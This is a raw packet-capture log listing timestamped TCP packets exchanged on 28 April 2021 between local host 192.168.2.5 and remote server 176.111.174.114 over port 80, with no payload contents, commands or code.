Apr 28, 2021 23:24:16.843163967 CEST	50148	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.843980074 CEST	50148	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:16.940077066 CEST	80	50148	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.944021940 CEST	80	50148	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:16.944185019 CEST	50148	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.057480097 CEST	50148	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.058562994 CEST	50149	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.153083086 CEST	80	50148	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.153234005 CEST	50148	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.156126976 CEST	80	50149	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.156419039 CEST	50149	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.157672882 CEST	50149	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.258444071 CEST	80	50149	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.264061928 CEST	80	50149	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.264132023 CEST	50149	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.369699001 CEST	50149	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.371762037 CEST	50151	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.468698025 CEST	80	50149	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.468727112 CEST	80	50151	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.468837976 CEST	50149	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.468935013 CEST	50151	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.470101118 CEST	50151	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.569550991 CEST	80	50151	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.573201895 CEST	80	50151	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.573338985 CEST	50151	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.683037043 CEST	50151	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.685661077 CEST	50152	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.781333923 CEST	80	50152	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.781353951 CEST	80	50151	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.781474113 CEST	50152	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.781523943 CEST	50151	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.782027960 CEST	50152	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.875137091 CEST	80	50152	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.878590107 CEST	80	50152	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:17.878707886 CEST	50152	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.997457027 CEST	50152	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:17.998497009 CEST	50153	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.090740919 CEST	80	50152	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.090857983 CEST	50152	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.094944000 CEST	80	50153	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.095041037 CEST	50153	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.095518112 CEST	50153	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.192615032 CEST	80	50153	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.196655035 CEST	80	50153	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.196851015 CEST	50153	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.307889938 CEST	50153	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.311810970 CEST	50154	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.403711081 CEST	80	50153	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.403778076 CEST	50153	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.411768913 CEST	80	50154	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.411885977 CEST	50154	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.412395954 CEST	50154	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.512207985 CEST	80	50154	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.515441895 CEST	80	50154	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.515964031 CEST	50154	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.574924946 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.620018959 CEST	50154	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.621026039 CEST	50156	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.669222116 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.669410944 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.679636002 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.718882084 CEST	80	50156	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.719073057 CEST	50156	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.719964981 CEST	80	50154	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.720114946 CEST	50156	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.720221996 CEST	50154	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.773922920 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.773964882 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.774034977 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.774085999 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.774446011 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.774540901 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.774554014 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.774637938 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.774759054 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.774840117 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.774915934 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.775007010 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.775087118 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.775175095 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.775413036 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.775491953 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.775556087 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.775640011 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.775716066 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.775800943 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.817713022 CEST	80	50156	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.822562933 CEST	80	50156	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.822731972 CEST	50156	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.869239092 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.869268894 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.869291067 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.869426966 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.869460106 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.869524956 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.869738102 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.869894981 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.869929075 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.869987965 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.870192051 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.870284081 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.870337963 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.870440006 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.870543003 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.870565891 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.870635033 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.870681047 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.871016979 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.871042013 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.871061087 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.871113062 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.871172905 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.933535099 CEST	50156	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.936310053 CEST	50157	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.963320017 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963356972 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963376045 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963395119 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963413000 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963500977 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.963551998 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.963610888 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963761091 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963857889 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.963979959 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.963994026 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964010000 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964123011 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964154005 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.964205980 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.964413881 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964488983 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.964627981 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964651108 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964708090 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.964739084 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.964777946 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.964832067 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.964997053 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.965020895 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.965085983 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.965127945 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.965141058 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.965245962 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:18.965296984 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:18.965512037 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.033281088 CEST	80	50156	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.033420086 CEST	50156	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.035778999 CEST	80	50157	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.035953045 CEST	50157	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.037158012 CEST	50157	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.059508085 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.059565067 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.059598923 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.059633970 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.059664965 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.059987068 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060050964 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060090065 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060220003 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060425043 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060616016 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060756922 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060929060 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060964108 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.060990095 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061038971 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061064005 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061211109 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061237097 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061261892 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061368942 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.061428070 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.063101053 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.063544989 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.134998083 CEST	80	50157	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.157466888 CEST	80	50155	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.157680988 CEST	50155	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.160589933 CEST	80	50157	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.160780907 CEST	50157	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.276232958 CEST	50157	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.277676105 CEST	50159	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.371978998 CEST	80	50159	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.372318029 CEST	50159	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.373420000 CEST	50159	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.374075890 CEST	80	50157	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.374212027 CEST	50157	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.469547987 CEST	80	50159	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.472734928 CEST	80	50159	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.472872019 CEST	50159	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.589798927 CEST	50159	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.592621088 CEST	50160	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.683928013 CEST	80	50159	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.684343100 CEST	50159	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.687412024 CEST	80	50160	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.687587023 CEST	50160	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.688750982 CEST	50160	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.783615112 CEST	80	50160	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.886075020 CEST	80	50160	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:19.886296988 CEST	50160	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.995448112 CEST	50160	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:19.997971058 CEST	50161	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.090161085 CEST	80	50160	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.092348099 CEST	50160	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.095696926 CEST	80	50161	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.098467112 CEST	50161	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.098923922 CEST	50161	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.196518898 CEST	80	50161	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.228672981 CEST	80	50161	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.228770018 CEST	50161	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.339456081 CEST	50161	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.346316099 CEST	50163	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.439198017 CEST	80	50161	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.439316988 CEST	50161	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.444713116 CEST	80	50163	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.444884062 CEST	50163	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.446058989 CEST	50163	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.541879892 CEST	80	50163	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.545485973 CEST	80	50163	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.545706987 CEST	50163	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.654944897 CEST	50163	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.656976938 CEST	50164	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.750698090 CEST	80	50163	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.750933886 CEST	50163	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.752135038 CEST	80	50164	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.752283096 CEST	50164	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.752928019 CEST	50164	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.847906113 CEST	80	50164	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.854484081 CEST	80	50164	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:20.854604006 CEST	50164	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.963885069 CEST	50164	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:20.965243101 CEST	50165	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.059021950 CEST	80	50164	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.059207916 CEST	50164	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.062352896 CEST	80	50165	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.062463045 CEST	50165	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.062916994 CEST	50165	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.161478996 CEST	80	50165	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.166511059 CEST	80	50165	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.166735888 CEST	50165	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.276467085 CEST	50165	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.277889013 CEST	50166	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.370907068 CEST	80	50166	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.372848034 CEST	50166	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.373306990 CEST	50166	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.373631001 CEST	80	50165	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.373756886 CEST	50165	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.467226982 CEST	80	50166	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.470989943 CEST	80	50166	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.471111059 CEST	50166	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.565340042 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.573406935 CEST	50166	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.575150013 CEST	50168	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.661056042 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.661787987 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.662067890 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.665966034 CEST	80	50166	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.667143106 CEST	50166	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.683058977 CEST	80	50168	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.683167934 CEST	50168	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.683655024 CEST	50168	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.758044004 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.758078098 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.758160114 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.758313894 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.758698940 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.758797884 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.759090900 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.759215117 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.759290934 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.759361982 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.759448051 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.759604931 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.759712934 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.759783030 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.760179996 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.760322094 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.791512966 CEST	80	50168	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.799452066 CEST	80	50168	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.802467108 CEST	50168	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.853956938 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.854080915 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.854231119 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.854247093 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.854252100 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.854386091 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.854688883 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.854830027 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.854851007 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.855006933 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.855042934 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.855180979 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.855298996 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.855808020 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.855866909 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.855936050 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.855972052 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.917073965 CEST	50168	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.918617964 CEST	50169	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.949593067 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.949632883 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.949644089 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.949664116 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.949778080 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.949839115 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.949899912 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950002909 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950170040 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950181961 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950278044 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950355053 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950485945 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950539112 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950653076 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950680971 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950692892 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950747967 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950804949 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.950820923 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.950938940 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.951308966 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.951380968 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.951488972 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.951548100 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:21.951617002 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:21.951690912 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.025212049 CEST	80	50168	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.026211023 CEST	50168	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.027117968 CEST	80	50169	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.027271986 CEST	50169	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.027945995 CEST	50169	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.045375109 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.045427084 CEST	80	50167	176.111.174.114	192.168.2.5
